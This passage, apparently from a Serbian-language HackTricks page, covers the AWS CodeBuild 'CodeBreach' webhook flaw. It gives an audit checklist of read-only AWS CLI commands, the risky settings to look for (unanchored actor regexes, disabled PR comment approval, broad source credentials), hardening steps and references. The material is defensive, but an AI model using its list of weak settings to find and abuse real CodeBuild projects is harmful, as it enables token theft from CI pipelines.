Testirano sa:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## Brzi kontrolni spisak za reviziju
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
Pregledajte svaki projekat zbog:
|
||||
|
||||
- `webhook.filterGroups` koji sadrže PR događaje.
|
||||
- obrasci `ACTOR_ACCOUNT_ID` koji nemaju početne i krajnje oznake `^...$`.
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval` podešen na `DISABLED`.
|
||||
- Nedostatka ograničenja grana/putanja.
|
||||
- `serviceRole` visokih privilegija.
|
||||
- Rizičnog opsega i ponovne upotrebe kredencijala izvora.
|
||||
|
||||
## Smernice za pojačanje bezbednosti
|
||||
|
||||
1. Zahtevajte odobrenje komentara za PR buildove (`ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS`).
|
||||
2. Ako koristite allow-liste za actore, uokvirite regex-e (koristite ^ i $) i držite ih preciznim.
|
||||
3. Dodajte `FILE_PATH` ograničenja da sprečite nepouzdane izmene `buildspec.yml` i CI skripti.
|
||||
4. Odvojite pouzdane release buildove od nepouzdanih PR buildova u različite projekte/role.
|
||||
5. Koristite fine-grained, najmanje privilegovane tokene provajdera izvora (poželjno koristiti posvećene niskoprivilegovane identitete).
|
||||
6. Kontinuirano proveravajte webhook filtere i korišćenje kredencijala izvora.
|
||||
|
||||
## References
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user